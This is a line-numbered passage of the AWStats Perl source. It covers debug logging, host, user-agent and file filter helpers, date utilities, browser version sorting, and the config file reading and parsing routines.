        my $level = $_[1] || 1;
 
1320
 
 
1321
        if ( !$HeaderHTTPSent && $ENV{'GATEWAY_INTERFACE'} ) {
 
1322
                http_head();
 
1323
        }    # To send the HTTP header and see debug
 
1324
        if ( $level <= $DEBUGFORCED ) {
 
1325
                my $debugstring = $_[0];
 
1326
                if ( !$DebugResetDone ) {
 
1327
                        open( DEBUGFORCEDFILE, "debug.log" );
 
1328
                        close DEBUGFORCEDFILE;
 
1329
                        chmod 0666, "debug.log";
 
1330
                        $DebugResetDone = 1;
 
1331
                }
 
1332
                open( DEBUGFORCEDFILE, ">>debug.log" );
 
1333
                print DEBUGFORCEDFILE localtime(time)
 
1334
                  . " - $$ - DEBUG $level - $debugstring\n";
 
1335
                close DEBUGFORCEDFILE;
 
1336
        }
 
1337
        if ( $DebugMessages && $level <= $Debug ) {
 
1338
                my $debugstring = $_[0];
 
1339
                if ( scalar keys %HTMLOutput ) {
 
1340
                        $debugstring =~ s/^ /&nbsp;&nbsp; /;
 
1341
                        $debugstring .= "<br />";
 
1342
                }
 
1343
                print localtime(time) . " - DEBUG $level - $debugstring\n";
 
1344
        }
 
1345
}
 
1346
 
 
1347
#------------------------------------------------------------------------------
 
1348
# Function:     Optimize an array removing duplicate entries
 
1349
# Parameters:   @Array notcasesensitive=0|1
 
1350
# Input:        None
 
1351
# Output:               None
 
1352
# Return:               None
 
1353
#------------------------------------------------------------------------------
 
1354
sub OptimizeArray {
 
1355
        my $array = shift;
 
1356
        my @arrayunreg = map {
 
1357
                if (/\(\?[-\w]*:(.*)\)/) { $1 }
 
1358
        } @$array;
 
1359
        my $notcasesensitive = shift;
 
1360
        my $searchlist       = 0;
 
1361
        if ($Debug) {
 
1362
                debug( "OptimizeArray (notcasesensitive=$notcasesensitive)", 4 );
 
1363
        }
 
1364
        while ( $searchlist > -1 && @arrayunreg ) {
 
1365
                my $elemtoremove = -1;
 
1366
          OPTIMIZELOOP:
 
1367
                foreach my $i ( $searchlist .. ( scalar @arrayunreg ) - 1 ) {
 
1368
 
 
1369
                        # Search if $i elem is already treated by another elem
 
1370
                        foreach my $j ( 0 .. ( scalar @arrayunreg ) - 1 ) {
 
1371
                                if ( $i == $j ) { next; }
 
1372
                                my $parami =
 
1373
                                  $notcasesensitive ? lc( $arrayunreg[$i] ) : $arrayunreg[$i];
 
1374
                                my $paramj =
 
1375
                                  $notcasesensitive ? lc( $arrayunreg[$j] ) : $arrayunreg[$j];
 
1376
                                if ($Debug) {
 
1377
                                        debug( " Compare $i ($parami) to $j ($paramj)", 4 );
 
1378
                                }
 
1379
                                if ( index( $parami, $paramj ) > -1 ) {
 
1380
                                        if ($Debug) {
 
1381
                                                debug(
 
1382
" Elem $i ($arrayunreg[$i]) already treated with elem $j ($arrayunreg[$j])",
 
1383
                                                        4
 
1384
                                                );
 
1385
                                        }
 
1386
                                        $elemtoremove = $i;
 
1387
                                        last OPTIMIZELOOP;
 
1388
                                }
 
1389
                        }
 
1390
                }
 
1391
                if ( $elemtoremove > -1 ) {
 
1392
                        if ($Debug) {
 
1393
                                debug(
 
1394
                                        " Remove elem $elemtoremove - $arrayunreg[$elemtoremove]",
 
1395
                                        4 );
 
1396
                        }
 
1397
                        splice @arrayunreg, $elemtoremove, 1;
 
1398
                        $searchlist = $elemtoremove;
 
1399
                }
 
1400
                else {
 
1401
                        $searchlist = -1;
 
1402
                }
 
1403
        }
 
1404
        if ($notcasesensitive) {
 
1405
                return map { qr/$_/i } @arrayunreg;
 
1406
        }
 
1407
        return map { qr/$_/ } @arrayunreg;
 
1408
}
 
1409
 
 
1410
#------------------------------------------------------------------------------
 
1411
# Function:     Check if parameter is in SkipDNSLookupFor array
 
1412
# Parameters:   ip @SkipDNSLookupFor (a NOT case sensitive precompiled regex array)
 
1413
# Return:               0 Not found, 1 Found
 
1414
#------------------------------------------------------------------------------
 
1415
sub SkipDNSLookup {
 
1416
        foreach (@SkipDNSLookupFor) {
 
1417
                if ( $_[0] =~ /$_/ ) { return 1; }
 
1418
        }
 
1419
        0;    # Not in @SkipDNSLookupFor
 
1420
}
 
1421
 
 
1422
#------------------------------------------------------------------------------
 
1423
# Function:     Check if parameter is in SkipHosts array
 
1424
# Parameters:   host @SkipHosts (a NOT case sensitive precompiled regex array)
 
1425
# Return:               0 Not found, 1 Found
 
1426
#------------------------------------------------------------------------------
 
1427
sub SkipHost {
 
1428
        foreach (@SkipHosts) {
 
1429
                if ( $_[0] =~ /$_/ ) { return 1; }
 
1430
        }
 
1431
        0;    # Not in @SkipHosts
 
1432
}
 
1433
 
 
1434
#------------------------------------------------------------------------------
 
1435
# Function:     Check if parameter is in SkipReferrers array
 
1436
# Parameters:   host @SkipReferrers (a NOT case sensitive precompiled regex array)
 
1437
# Return:               0 Not found, 1 Found
 
1438
#------------------------------------------------------------------------------
 
1439
sub SkipReferrer {
 
1440
        foreach (@SkipReferrers) {
 
1441
                if ( $_[0] =~ /$_/ ) { return 1; }
 
1442
        }
 
1443
        0;    # Not in @SkipReferrers
 
1444
}
 
1445
 
 
1446
#------------------------------------------------------------------------------
 
1447
# Function:     Check if parameter is in SkipUserAgents array
 
1448
# Parameters:   useragent @SkipUserAgents (a NOT case sensitive precompiled regex array)
 
1449
# Return:               0 Not found, 1 Found
 
1450
#------------------------------------------------------------------------------
 
1451
sub SkipUserAgent {
 
1452
        foreach (@SkipUserAgents) {
 
1453
                if ( $_[0] =~ /$_/ ) { return 1; }
 
1454
        }
 
1455
        0;    # Not in @SkipUserAgent
 
1456
}
 
1457
 
 
1458
#------------------------------------------------------------------------------
 
1459
# Function:     Check if parameter is in SkipFiles array
 
1460
# Parameters:   url @SkipFiles (a NOT case sensitive precompiled regex array)
 
1461
# Return:               0 Not found, 1 Found
 
1462
#------------------------------------------------------------------------------
 
1463
sub SkipFile {
 
1464
        foreach (@SkipFiles) {
 
1465
                if ( $_[0] =~ /$_/ ) { return 1; }
 
1466
        }
 
1467
        0;    # Not in @SkipFiles
 
1468
}
 
1469
 
 
1470
#------------------------------------------------------------------------------
 
1471
# Function:     Check if parameter is in OnlyHosts array
 
1472
# Parameters:   host @OnlyHosts (a NOT case sensitive precompiled regex array)
 
1473
# Return:               0 Not found, 1 Found
 
1474
#------------------------------------------------------------------------------
 
1475
sub OnlyHost {
 
1476
        foreach (@OnlyHosts) {
 
1477
                if ( $_[0] =~ /$_/ ) { return 1; }
 
1478
        }
 
1479
        0;    # Not in @OnlyHosts
 
1480
}
 
1481
 
 
1482
#------------------------------------------------------------------------------
 
1483
# Function:     Check if parameter is in OnlyUsers array
 
1484
# Parameters:   host @OnlyUsers (a NOT case sensitive precompiled regex array)
 
1485
# Return:               0 Not found, 1 Found
 
1486
#------------------------------------------------------------------------------
 
1487
sub OnlyUser {
 
1488
        foreach (@OnlyUsers) {
 
1489
                if ( $_[0] =~ /$_/ ) { return 1; }
 
1490
        }
 
1491
        0;    # Not in @OnlyUsers
 
1492
}
 
1493
 
 
1494
#------------------------------------------------------------------------------
 
1495
# Function:     Check if parameter is in OnlyUserAgents array
 
1496
# Parameters:   useragent @OnlyUserAgents (a NOT case sensitive precompiled regex array)
 
1497
# Return:               0 Not found, 1 Found
 
1498
#------------------------------------------------------------------------------
 
1499
sub OnlyUserAgent {
 
1500
        foreach (@OnlyUserAgents) {
 
1501
                if ( $_[0] =~ /$_/ ) { return 1; }
 
1502
        }
 
1503
        0;    # Not in @OnlyUserAgents
 
1504
}
 
1505
 
 
1506
#------------------------------------------------------------------------------
 
1507
# Function:     Check if parameter is in NotPageFiles array
 
1508
# Parameters:   url @NotPageFiles (a NOT case sensitive precompiled regex array)
 
1509
# Return:               0 Not found, 1 Found
 
1510
#------------------------------------------------------------------------------
 
1511
sub NotPageFile {
 
1512
        foreach (@NotPageFiles) {
 
1513
                if ( $_[0] =~ /$_/ ) { return 1; }
 
1514
        }
 
1515
        0;    # Not in @NotPageFiles
 
1516
}
 
1517
 
 
1518
#------------------------------------------------------------------------------
 
1519
# Function:     Check if parameter is in OnlyFiles array
 
1520
# Parameters:   url @OnlyFiles (a NOT case sensitive precompiled regex array)
 
1521
# Return:               0 Not found, 1 Found
 
1522
#------------------------------------------------------------------------------
 
1523
sub OnlyFile {
 
1524
        foreach (@OnlyFiles) {
 
1525
                if ( $_[0] =~ /$_/ ) { return 1; }
 
1526
        }
 
1527
        0;    # Not in @OnlyFiles
 
1528
}
 
1529
 
 
1530
#------------------------------------------------------------------------------
 
1531
# Function:     Return day of week of a day
 
1532
# Parameters:   $day $month $year
 
1533
# Return:               0-6
 
1534
#------------------------------------------------------------------------------
 
1535
sub DayOfWeek {
 
1536
        my ( $day, $month, $year ) = @_;
 
1537
        if ($Debug) { debug( "DayOfWeek for $day $month $year", 4 ); }
 
1538
        if ( $month < 3 ) { $month += 10; $year--; }
 
1539
        else { $month -= 2; }
 
1540
        my $cent = sprintf( "%1i", ( $year / 100 ) );
 
1541
        my $y    = ( $year % 100 );
 
1542
        my $dw   = (
 
1543
                sprintf( "%1i", ( 2.6 * $month ) - 0.2 ) + $day + $y +
 
1544
                  sprintf( "%1i", ( $y / 4 ) ) + sprintf( "%1i", ( $cent / 4 ) ) -
 
1545
                  ( 2 * $cent ) ) % 7;
 
1546
        $dw += 7 if ( $dw < 0 );
 
1547
        if ($Debug) { debug( " is $dw", 4 ); }
 
1548
        return $dw;
 
1549
}
 
1550
 
 
1551
#------------------------------------------------------------------------------
 
1552
# Function:     Return 1 if a date exists
 
1553
# Parameters:   $day $month $year
 
1554
# Return:               1 if date exists else 0
 
1555
#------------------------------------------------------------------------------
 
1556
sub DateIsValid {
 
1557
        my ( $day, $month, $year ) = @_;
 
1558
        if ($Debug) { debug( "DateIsValid for $day $month $year", 4 ); }
 
1559
        if ( $day < 1 )  { return 0; }
 
1560
        if ( $day > 31 ) { return 0; }
 
1561
        if ( $month == 4 || $month == 6 || $month == 9 || $month == 11 ) {
 
1562
                if ( $day > 30 ) { return 0; }
 
1563
        }
 
1564
        elsif ( $month == 2 ) {
 
1565
                my $leapyear = ( $year % 4 == 0 ? 1 : 0 );   # A leap year every 4 years
 
1566
                if ( $year % 100 == 0 && $year % 400 != 0 ) {
 
1567
                        $leapyear = 0;
 
1568
                }    # Except if year is 100x and not 400x
 
1569
                if ( $day > ( 28 + $leapyear ) ) { return 0; }
 
1570
        }
 
1571
        return 1;
 
1572
}
 
1573
 
 
1574
#------------------------------------------------------------------------------
 
1575
# Function:     Return string of visit duration
 
1576
# Parameters:   $starttime $endtime
 
1577
# Input:        None
 
1578
# Output:               None
 
1579
# Return:               A string that identify the visit duration range
 
1580
#------------------------------------------------------------------------------
 
1581
sub GetSessionRange {
 
1582
        my $starttime = my $endtime;
 
1583
        if ( shift =~ /$regdate/o ) {
 
1584
                $starttime = Time::Local::timelocal( $6, $5, $4, $3, $2 - 1, $1 );
 
1585
        }
 
1586
        if ( shift =~ /$regdate/o ) {
 
1587
                $endtime = Time::Local::timelocal( $6, $5, $4, $3, $2 - 1, $1 );
 
1588
        }
 
1589
        my $delay = $endtime - $starttime;
 
1590
        if ($Debug) {
 
1591
                debug( "GetSessionRange $endtime - $starttime = $delay", 4 );
 
1592
        }
 
1593
        if ( $delay <= 30 )   { return $SessionsRange[0]; }
 
1594
        if ( $delay <= 120 )  { return $SessionsRange[1]; }
 
1595
        if ( $delay <= 300 )  { return $SessionsRange[2]; }
 
1596
        if ( $delay <= 900 )  { return $SessionsRange[3]; }
 
1597
        if ( $delay <= 1800 ) { return $SessionsRange[4]; }
 
1598
        if ( $delay <= 3600 ) { return $SessionsRange[5]; }
 
1599
        return $SessionsRange[6];
 
1600
}
 
1601
 
 
1602
#------------------------------------------------------------------------------
 
1603
# Function:     Return string with just the extension of a file in the URL
 
1604
# Parameters:   $regext, $url without query string
 
1605
# Input:        None
 
1606
# Output:               None
 
1607
# Return:               A lowercase string with the name of the extension, e.g. "html"
 
1608
#------------------------------------------------------------------------------
 
1609
sub Get_Extension{
 
1610
        my $extension;
 
1611
        my $regext = shift;
 
1612
        my $urlwithnoquery = shift;
 
1613
        if ( $urlwithnoquery =~ /$regext/o
 
1614
                || ( $urlwithnoquery =~ /[\\\/]$/ && $DefaultFile[0] =~ /$regext/o )
 
1615
          )
 
1616
        {
 
1617
                $extension =
 
1618
                  ( $LevelForFileTypesDetection >= 2 || $MimeHashLib{$1} )
 
1619
                  ? lc($1)
 
1620
                  : 'Unknown';
 
1621
        }
 
1622
        else {
 
1623
                $extension = 'Unknown';
 
1624
        }       
 
1625
        return $extension;
 
1626
}
 
1627
 
 
1628
#------------------------------------------------------------------------------
 
1629
# Function:     Returns just the file of the url
 
1630
# Parameters:   -
 
1631
# Input:        $url
 
1632
# Output:               String with the file name
 
1633
# Return:               -
 
1634
#------------------------------------------------------------------------------
 
1635
sub Get_Filename{
 
1636
        my $temp = shift;
 
1637
        my $idx = -1;
 
1638
        # check for slash
 
1639
        $idx = rindex($temp, "/");
 
1640
        if ($idx > -1){ $temp = substr($temp, $idx+1);}
 
1641
        else{ 
 
1642
                $idx = rindex($temp, "\\");
 
1643
                if ($idx > -1){ $temp = substr($temp, $idx+1);}
 
1644
        }
 
1645
        return $temp;
 
1646
}
 
1647
 
 
1648
#------------------------------------------------------------------------------
 
1649
# Function:     Compare two browsers version
 
1650
# Parameters:   $a
 
1651
# Input:        None
 
1652
# Output:               None
 
1653
# Return:               -1, 0, 1
 
1654
#------------------------------------------------------------------------------
 
1655
sub SortBrowsers {
 
1656
        my $a_family = $a;
 
1657
        my @a_ver    = ();
 
1658
        foreach my $family ( keys %BrowsersFamily ) {
 
1659
                if ( $a =~ /^$family/i ) {
 
1660
                        $a =~ m/^(\D+)([\d\.]+)?$/;
 
1661
                        $a_family = $1;
 
1662
                        @a_ver = split( /\./, $2 );
 
1663
                }
 
1664
        }
 
1665
        my $b_family = $b;
 
1666
        my @b_ver    = ();
 
1667
        foreach my $family ( keys %BrowsersFamily ) {
 
1668
                if ( $b =~ /^$family/i ) {
 
1669
                        $b =~ m/^(\D+)([\d\.]+)?$/;
 
1670
                        $b_family = $1;
 
1671
                        @b_ver = split( /\./, $2 );
 
1672
                }
 
1673
        }
 
1674
 
 
1675
        my $compare = 0;
 
1676
        my $done    = 0;
 
1677
 
 
1678
        $compare = $a_family cmp $b_family;
 
1679
        if ( $compare != 0 ) {
 
1680
                return $compare;
 
1681
        }
 
1682
 
 
1683
        while ( !$done ) {
 
1684
                my $a_num = shift @a_ver || 0;
 
1685
                my $b_num = shift @b_ver || 0;
 
1686
 
 
1687
                $compare = $a_num <=> $b_num;
 
1688
                if ( $compare != 0
 
1689
                        || ( scalar(@a_ver) == 0 && scalar(@b_ver) == 0 && $compare == 0 ) )
 
1690
                {
 
1691
                        $done = 1;
 
1692
                }
 
1693
        }
 
1694
 
 
1695
        return $compare;
 
1696
}
 
1697
 
 
1698
#------------------------------------------------------------------------------
 
1699
# Function:     Read config file
 
1700
# Parameters:   None or configdir to scan
 
1701
# Input:        $DIR $PROG $SiteConfig
 
1702
# Output:               Global variables
 
1703
# Return:               -
 
1704
#------------------------------------------------------------------------------
 
1705
sub Read_Config {
 
1706
 
 
1707
        # Check config file in common possible directories :
 
1708
        # Windows :                                             "$DIR" (same dir than awstats.pl)
 
1709
        # Standard, Mandrake and Debian package :       "/etc/awstats"
 
1710
        # Other possible directories :                          "/usr/local/etc/awstats", "/etc"
 
1711
        # FHS standard, Suse package :                          "/etc/opt/awstats"
 
1712
        my $configdir         = shift;
 
1713
        my @PossibleConfigDir = (
 
1714
                        "$DIR",
 
1715
                        "/etc/awstats",
 
1716
                        "/usr/local/etc/awstats", "/etc",
 
1717
                        "/etc/opt/awstats"
 
1718
                ); 
 
1719
 
 
1720
        if ($configdir) {
 
1721
                # Check if configdir is outside default values.
 
1722
                my $outsidedefaultvalue=1;
 
1723
                foreach (@PossibleConfigDir) {
 
1724
                        if ($_ eq $configdir) { $outsidedefaultvalue=0; last; }
 
1725
                }
 
1726
 
 
1727
                # If from CGI, overwriting of configdir with a value that differs from a defautl value
 
1728
                # is only possible if AWSTATS_ENABLE_CONFIG_DIR defined
 
1729
                if ($ENV{'GATEWAY_INTERFACE'} && $outsidedefaultvalue && ! $ENV{"AWSTATS_ENABLE_CONFIG_DIR"})
 
1730
                {
 
1731
                        error("Sorry, to allow overwriting of configdir parameter, from an AWStats CGI page, with a non default value, environment variable AWSTATS_ENABLE_CONFIG_DIR must be set to 1. For example, by adding the line 'SetEnv AWSTATS_ENABLE_CONFIG_DIR 1' in your Apache config file or into a .htaccess file.");
 
1732
                }
 
1733
 
 
1734
                @PossibleConfigDir = ("$configdir");
 
1735
        }
 
1736
 
 
1737
        # Open config file
 
1738
        $FileConfig = $FileSuffix = '';
 
1739
        foreach (@PossibleConfigDir) {
 
1740
                my $searchdir = $_;
 
1741
                if ( $searchdir && $searchdir !~ /[\\\/]$/ ) { $searchdir .= "/"; }
 
1742
                if ( open( CONFIG, "$searchdir$PROG.$SiteConfig.conf" ) ) {
 
1743
                        $FileConfig = "$searchdir$PROG.$SiteConfig.conf";
 
1744
                        $FileSuffix = ".$SiteConfig";
 
1745
                        if ($Debug){debug("Opened config: $searchdir$PROG.$SiteConfig.conf", 2);}
 
1746
                        last;
 
1747
                }else{if ($Debug){debug("Unable to open config file: $searchdir$PROG.$SiteConfig.conf", 2);}}
 
1748
                if ( open( CONFIG, "$searchdir$PROG.conf" ) ) {
 
1749
                        $FileConfig = "$searchdir$PROG.conf";
 
1750
                        $FileSuffix = '';
 
1751
                        if ($Debug){debug("Opened config: $searchdir$PROG.$SiteConfig.conf", 2);}
 
1752
                        last;
 
1753
                }else{if ($Debug){debug("Unable to open config file: $searchdir$PROG.conf", 2);}}
 
1754
                #CL - Added to open config if full path is passed to awstats 
 
1755
                if ( open( CONFIG, "$SiteConfig" ) ) {
 
1756
                        $FileConfig = "$SiteConfig";
 
1757
                        $FileSuffix = '';
 
1758
                        if ($Debug){debug("Opened config: $SiteConfig", 2);}
 
1759
                        last;
 
1760
                }else{if ($Debug){debug("Unable to open config file: $SiteConfig", 2);}}
 
1761
        }
 
1762
        if ( !$FileConfig ) {
 
1763
                if ($DEBUGFORCED || !$ENV{'GATEWAY_INTERFACE'}){
 
1764
                error(
 
1765
"Couldn't open config file \"$PROG.$SiteConfig.conf\" nor \"$PROG.conf\" after searching in path \""
 
1766
                          . join( ', ', @PossibleConfigDir )
 
1767
                          . "\": $!" );
 
1768
                }else{error("Couldn't open config file \"$PROG.$SiteConfig.conf\" nor \"$PROG.conf\". 
 
1769
                Please read the documentation for directories where the configuration file should be located."); }
 
1770
        }
 
1771
 
 
1772
        # Analyze config file content and close it
 
1773
        &Parse_Config( *CONFIG, 1, $FileConfig );
 
1774
        close CONFIG;
 
1775
 
 
1776
        # If parameter NotPageList not found, init for backward compatibility
 
1777
        if ( !$FoundNotPageList ) {
 
1778
                %NotPageList = (
 
1779
                        'css'   => 1,
 
1780
                        'js'    => 1,
 
1781
                        'class' => 1,
 
1782
                        'gif'   => 1,
 
1783
                        'jpg'   => 1,
 
1784
                        'jpeg'  => 1,
 
1785
                        'png'   => 1,
 
1786
                        'bmp'   => 1,
 
1787
                        'ico'   => 1,
 
1788
                        'swf'   => 1
 
1789
                );
 
1790
        }
 
1791
 
 
1792
        # If parameter ValidHTTPCodes empty, init for backward compatibility
 
1793
        if ( !scalar keys %ValidHTTPCodes ) {
 
1794
                $ValidHTTPCodes{"200"} = $ValidHTTPCodes{"304"} = 1;
 
1795
        }
 
1796
 
 
1797
        # If parameter ValidSMTPCodes empty, init for backward compatibility
 
1798
        if ( !scalar keys %ValidSMTPCodes ) {
 
1799
                $ValidSMTPCodes{"1"} = $ValidSMTPCodes{"250"} = 1;
 
1800
        }
 
1801
}
 
1802
 
 
1803
#------------------------------------------------------------------------------
 
1804
# Function:     Parse content of a config file
 
1805
# Parameters:   opened file handle, depth level, file name
 
1806
# Input:        -
 
1807
# Output:               Global variables
 
1808
# Return:               -
 
1809
#------------------------------------------------------------------------------
 
1810
sub Parse_Config {
 
1811
        my ($confighandle) = $_[0];
 
1812
        my $level          = $_[1];
 
1813
        my $configFile     = $_[2];
 
1814
        my $versionnum     = 0;
 
1815
        my $conflinenb     = 0;
 
1816
 
 
1817
        if ( $level > 10 ) {
 
1818
                error(
 
1819
"$PROG can't read down more than 10 level of includes. Check that no 'included' config files include their parent config file (this cause infinite loop)."
 
1820
                );
 
1821
        }
 
1822
 
 
1823
        while (<$confighandle>) {
 
1824
                chomp $_;
 
1825
                s/\r//;
 
1826
                $conflinenb++;
 
1827
 
 
1828
                # Extract version from first line
 
1829
                if ( !$versionnum && $_ =~ /^# AWSTATS CONFIGURE FILE (\d+).(\d+)/i ) {
 
1830
                        $versionnum = ( $1 * 1000 ) + $2;
 
1831
 
 
1832
                        #if ($Debug) { debug(" Configure file version is $versionnum",1); }
 
1833
                        next;
 
1834
                }
 
1835
 
 
1836
                if ( $_ =~ /^\s*$/ ) { next; }
 
1837
 
 
1838
                # Check includes
 
1839
                if ( $_ =~ /^Include "([^\"]+)"/ || $_ =~ /^#include "([^\"]+)"/ )
 
1840
                {    # #include kept for backward compatibility
 
1841
                        my $includeFile = $1;
 
1842
 
 
1843
                        # Expand __var__ by values
 
1844
                        while ( $includeFile =~ /__([^\s_]+(?:_[^\s_]+)*)__/ ) {
 
1845
                                my $var = $1;
 
1846
                                $includeFile =~ s/__${var}__/$ENV{$var}/g;
 
1847
                        }
 
1848
                        if ($Debug) { debug( "Found an include : $includeFile", 2 ); }
 
1849
                        if ( $includeFile !~ /^([a-zA-Z]:)?[\\\/]/ ) {
 
1850
                                # Correct relative include files
 
1851
                                if ( $FileConfig =~ /^(.*[\\\/])[^\\\/]*$/ ) {
 
1852
                                        $includeFile = "$1$includeFile";
 
1853
                                }
 
1854
                        }
 
1855
                        if ( $level > 1 && $^V lt v5.6.0 ) {
 
1856
                                warning(
 
1857
"Warning: Perl versions before 5.6 cannot handle nested includes"
 
1858
                                );
 
1859
                                next;
 
1860
                        }
 
1861
            local( *CONFIG_INCLUDE );   # To avoid having parent file closed when include file is closed
 
1862
                        if ( open( CONFIG_INCLUDE, $includeFile ) ) {
 
1863
                                &Parse_Config( *CONFIG_INCLUDE, $level + 1, $includeFile );
 
1864
                                close(CONFIG_INCLUDE);
 
1865
                        }
 
1866
                        else {
 
1867
                                error("Could not open include file: $includeFile");
 
1868
                        }
 
1869
                        next;
 
1870
                }
 
1871
 
 
1872
                # Remove comments
 
1873
                if ( $_ =~ /^\s*#/ ) { next; }
 
1874
                $_ =~ s/\s#.*$//;
 
1875
 
 
1876
                # Extract param and value
 
1877
                my ( $param, $value ) = split( /=/, $_, 2 );
 
1878
                $param =~ s/^\s+//;
 
1879
                $param =~ s/\s+$//;
 
1880
 
 
1881
                # If not a param=value, try with next line
 
1882
                if ( !$param ) {
 
1883
                        warning(
 
1884
"Warning: Syntax error line $conflinenb in file '$configFile'. Config line is ignored."
 
1885
                        );
 
1886
                        next;
 
1887
                }
 
1888
                if ( !defined $value ) {
 
1889
                        warning(
 
1890
"Warning: Syntax error line $conflinenb in file '$configFile'. Config line is ignored."
 
1891
                        );
 
1892
                        next;
 
1893
                }
 
1894
 
 
1895
                if ($value) {
 
1896
                        $value =~ s/^\s+//;
 
1897
                        $value =~ s/\s+$//;
 
1898
                        $value =~ s/^\"//;
 
1899
                        $value =~ s/\";?$//;
 
1900
 
 
1901
                        # Replace __MONENV__ with value of environnement variable MONENV
 
1902
                        # Must be able to replace __VAR_1____VAR_2__
 
1903
                        while ( $value =~ /__([^\s_]+(?:_[^\s_]+)*)__/ ) {
 
1904
                                my $var = $1;
 
1905
                                $value =~ s/__${var}__/$ENV{$var}/g;
 
1906
                        }
 
1907
                }
 
1908
 
 
1909
                # Initialize parameter for (param,value)
 
1910
                if ( $param =~ /^LogFile/ ) {
 
1911
                        if ( $QueryString !~ /logfile=([^\s&]+)/i ) { $LogFile = $value; }
 
1912
                        next;
 
1913
                }
 
1914
                if ( $param =~ /^DirIcons/ ) {
 
1915
                        if ( $QueryString !~ /diricons=([^\s&]+)/i ) { $DirIcons = $value; }
 
1916
                        next;
 
1917
                }
 
1918
                if ( $param =~ /^SiteDomain/ ) {
 
1919
 
 
1920
                        # No regex test as SiteDomain is always exact value
 
1921
                        $SiteDomain = $value;
 
1922
                        next;
 
1923
                }
 
1924
                if ( $param =~ /^HostAliases/ ) {
 
1925
                        @HostAliases = ();
 
1926
                        foreach my $elem ( split( /\s+/, $value ) ) {
 
1927
                                if ( $elem =~ s/^\@// ) {    # If list of hostaliases in a file
 
1928
                                        open( DATAFILE, "<$elem" )
 
1929
                                          || error(
 
1930
"Failed to open file '$elem' declared in HostAliases parameter"
 
1931
                                          );
 
1932
                                        my @val = map( /^(.*)$/i, <DATAFILE> );
 
1933
                                        push @HostAliases, map { qr/^$_$/i } @val;
 
1934
                                        close(DATAFILE);
 
1935
                                }
 
1936
                                else {
 
1937
                                        if ( $elem =~ /^REGEX\[(.*)\]$/i ) { $elem = $1; }
 
1938
                                        else { $elem = '^' . quotemeta($elem) . '$'; }
 
1939
                                        if ($elem) { push @HostAliases, qr/$elem/i; }
 
1940
                                }
 
1941
                        }
 
1942
                        next;
 
1943
                }
 
1944
 
 
1945
                # Special optional setup params
 
1946
                if ( $param =~ /^SkipDNSLookupFor/ ) {
 
1947
                        @SkipDNSLookupFor = ();
 
1948
                        foreach my $elem ( split( /\s+/, $value ) ) {
 
1949
                                if ( $elem =~ /^REGEX\[(.*)\]$/i ) { $elem = $1; }
 
1950
                                else { $elem = '^' . quotemeta($elem) . '$'; }
 
1951
                                if ($elem) { push @SkipDNSLookupFor, qr/$elem/i; }
 
1952
                        }
 
1953
                        next;
 
1954
                }
 
1955
                if ( $param =~ /^AllowAccessFromWebToFollowingAuthenticatedUsers/ ) {
 
1956
                        @AllowAccessFromWebToFollowingAuthenticatedUsers = ();
 
1957
                        foreach ( split( /\s+/, $value ) ) {
 
1958
                                push @AllowAccessFromWebToFollowingAuthenticatedUsers, $_;
 
1959
                        }
 
1960
                        next;
 
1961
                }
 
1962
                if ( $param =~ /^DefaultFile/ ) {
 
1963
                        @DefaultFile = ();
 
1964
                        foreach my $elem ( split( /\s+/, $value ) ) {
 
1965
 
 
1966
                                # No REGEX for this option
 
1967
                                #if ($elem =~ /^REGEX\[(.*)\]$/i) { $elem=$1; }
 
1968
                                #else { $elem='^'.quotemeta($elem).'$'; }
 
1969
                                if ($elem) { push @DefaultFile, $elem; }
 
1970
                        }
 
1971
                        next;
 
1972
                }
 
1973
                if ( $param =~ /^SkipHosts/ ) {
 
1974
                        @SkipHosts = ();
 
1975
                        foreach my $elem ( split( /\s+/, $value ) ) {
 
1976
                                if ( $elem =~ /^REGEX\[(.*)\]$/i ) { $elem = $1; }
 
1977
                                else { $elem = '^' . quotemeta($elem) . '$'; }
 
1978
                                if ($elem) { push @SkipHosts, qr/$elem/i; }
 
1979
                        }
 
1980
                        next;
 
1981
                }
 
1982
                if ( $param =~ /^SkipReferrersBlackList/ && $value ) {
 
1983
                        open( BLACKLIST, "<$value" )
 
1984
                          || die "Failed to open blacklist: $!\n";
 
1985
                        while (<BLACKLIST>) {
 
1986
                                chomp;
 
1987
                                my $elem = $_;
 
1988
                                $elem =~ s/ //;
 
1989
                                $elem =~ s/\#.*//;
 
1990
                                if ($elem) { push @SkipReferrers, qr/$elem/i; }
 
1991
                        }
 
1992
                        next;
 
1993
                        close(BLACKLIST);
 
1994
                }
 
1995
                if ( $param =~ /^SkipUserAgents/ ) {
 
1996
                        @SkipUserAgents = ();
 
1997
                        foreach my $elem ( split( /\s+/, $value ) ) {
 
1998
                                if ( $elem =~ /^REGEX\[(.*)\]$/i ) { $elem = $1; }
 
1999
                                else { $elem = '^' . quotemeta($elem) . '$'; }
 
2000
                                if ($elem) { push @SkipUserAgents, qr/$elem/i; }
 
2001
                        }
 
2002
                        next;
 
2003
                }
 
2004
                if ( $param =~ /^SkipFiles/ ) {
 
2005
                        @SkipFiles = ();
 
2006
                        foreach my $elem ( split( /\s+/, $value ) ) {
 
2007
                                if ( $elem =~ /^REGEX\[(.*)\]$/i ) { $elem = $1; }
 
2008
                                else { $elem = '^' . quotemeta($elem) . '$'; }
 
2009
                                if ($elem) { push @SkipFiles, qr/$elem/i; }
 
2010
                        }
 
2011
                        next;
 
2012
                }
 
2013
                if ( $param =~ /^OnlyHosts/ ) {
 
2014
                        @OnlyHosts = ();
 
2015
                        foreach my $elem ( split( /\s+/, $value ) ) {
 
2016
                                if ( $elem =~ /^REGEX\[(.*)\]$/i ) { $elem = $1; }
 
2017
                                else { $elem = '^' . quotemeta($elem) . '$'; }
 
2018
                                if ($elem) { push @OnlyHosts, qr/$elem/i; }
 
2019
                        }
 
2020
                        next;
 
2021
                }
 
2022
                if ( $param =~ /^OnlyUsers/ ) {
 
2023
                        @OnlyUsers = ();
 
2024
                        foreach my $elem ( split( /\s+/, $value ) ) {
 
2025
                                if ( $elem =~ /^REGEX\[(.*)\]$/i ) { $elem = $1; }
 
2026
                                else { $elem = '^' . quotemeta($elem) . '$'; }
 
2027
                                if ($elem) { push @OnlyUsers, qr/$elem/i; }
 
2028
                        }
 
2029
                        next;
 
2030
                }
 
2031
                if ( $param =~ /^OnlyUserAgents/ ) {
 
2032
                        @OnlyUserAgents = ();
 
2033
                        foreach my $elem ( split( /\s+/, $value ) ) {
 
2034
                                if ( $elem =~ /^REGEX\[(.*)\]$/i ) { $elem = $1; }
 
2035
                                else { $elem = '^' . quotemeta($elem) . '$'; }
 
2036
                                if ($elem) { push @OnlyUserAgents, qr/$elem/i; }
 
2037
                        }
 
2038
                        next;
 
2039
                }
 
2040
